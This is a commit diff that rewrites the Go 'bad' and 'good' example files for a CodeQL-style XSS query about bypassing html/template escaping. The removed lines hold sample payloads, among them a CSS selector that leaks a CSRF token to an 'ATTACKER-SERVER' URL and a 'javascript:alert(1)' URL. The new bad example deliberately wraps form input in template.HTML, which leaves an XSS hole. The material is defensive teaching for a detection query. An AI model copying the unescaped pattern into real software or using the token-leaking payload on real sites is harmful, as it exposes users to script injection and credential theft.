Skip to content

Commit 00cc430

Browse files
committed
Make examples in qhelp shorter and more realistic
1 parent 6e3b959 commit 00cc430

File tree

2 files changed

+12
-71
lines changed

2 files changed

+12
-71
lines changed

go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go

Lines changed: 6 additions & 63 deletions
Original file line numberDiff line numberDiff line change
@@ -2,69 +2,12 @@ package main
22

33
import (
44
"html/template"
5-
"os"
5+
"net/http"
66
)
77

8-
func main() {}
9-
func source(s string) string {
10-
return s
11-
}
12-
13-
type HTMLAlias = template.HTML
14-
15-
func checkError(err error) {
16-
if err != nil {
17-
panic(err)
18-
}
19-
}
20-
21-
// bad is an example of a bad implementation
22-
func bad() {
23-
tmpl, _ := template.New("test").Parse(`Hi {{.}}\n`)
24-
tmplTag, _ := template.New("test").Parse(`Hi <b {{.}}></b>\n`)
25-
tmplScript, _ := template.New("test").Parse(`<script> eval({{.}}) </script>`)
26-
tmplSrcset, _ := template.New("test").Parse(`<img srcset="{{.}}"/>`)
27-
28-
{
29-
{
30-
var a = template.HTML(source(`<a href='example.com'>link</a>`))
31-
checkError(tmpl.Execute(os.Stdout, a))
32-
}
33-
{
34-
{
35-
var a template.HTML
36-
a = template.HTML(source(`<a href='example.com'>link</a>`))
37-
checkError(tmpl.Execute(os.Stdout, a))
38-
}
39-
{
40-
var a HTMLAlias
41-
a = HTMLAlias(source(`<a href='example.com'>link</a>`))
42-
checkError(tmpl.Execute(os.Stdout, a))
43-
}
44-
}
45-
}
46-
{
47-
var c = template.HTMLAttr(source(`href="https://example.com"`))
48-
checkError(tmplTag.Execute(os.Stdout, c))
49-
}
50-
{
51-
var d = template.JS(source("alert({hello: 'world'})"))
52-
checkError(tmplScript.Execute(os.Stdout, d))
53-
}
54-
{
55-
var e = template.JSStr(source("setTimeout('alert()')"))
56-
checkError(tmplScript.Execute(os.Stdout, e))
57-
}
58-
{
59-
var b = template.CSS(source("input[name='csrftoken'][value^='b'] { background: url(//ATTACKER-SERVER/leak/b); } "))
60-
checkError(tmpl.Execute(os.Stdout, b))
61-
}
62-
{
63-
var f = template.Srcset(source(`evil.jpg 320w`))
64-
checkError(tmplSrcset.Execute(os.Stdout, f))
65-
}
66-
{
67-
var g = template.URL(source("javascript:alert(1)"))
68-
checkError(tmpl.Execute(os.Stdout, g))
69-
}
8+
func bad(w http.ResponseWriter, r *http.Request) {
9+
r.ParseForm()
10+
username := r.Form.Get("username")
11+
tmpl, _ := template.New("test").Parse(`<b>Hi {{.}}</b>`)
12+
tmpl.Execute(w, template.HTML(username))
7013
}

go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go

Lines changed: 6 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -2,14 +2,12 @@ package main
22

33
import (
44
"html/template"
5-
"os"
5+
"net/http"
66
)
77

8-
// good is an example of a good implementation
9-
func good() {
10-
tmpl, _ := template.New("test").Parse(`Hello, {{.}}\n`)
11-
{ // This will be escaped:
12-
var escaped = source(`<a href="example.com">link</a>`)
13-
checkError(tmpl.Execute(os.Stdout, escaped))
14-
}
8+
func good(w http.ResponseWriter, r *http.Request) {
9+
r.ParseForm()
10+
username := r.Form.Get("username")
11+
tmpl, _ := template.New("test").Parse(`<b>Hi {{.}}</b>`)
12+
tmpl.Execute(w, username)
1513
}

0 commit comments

Comments
 (0)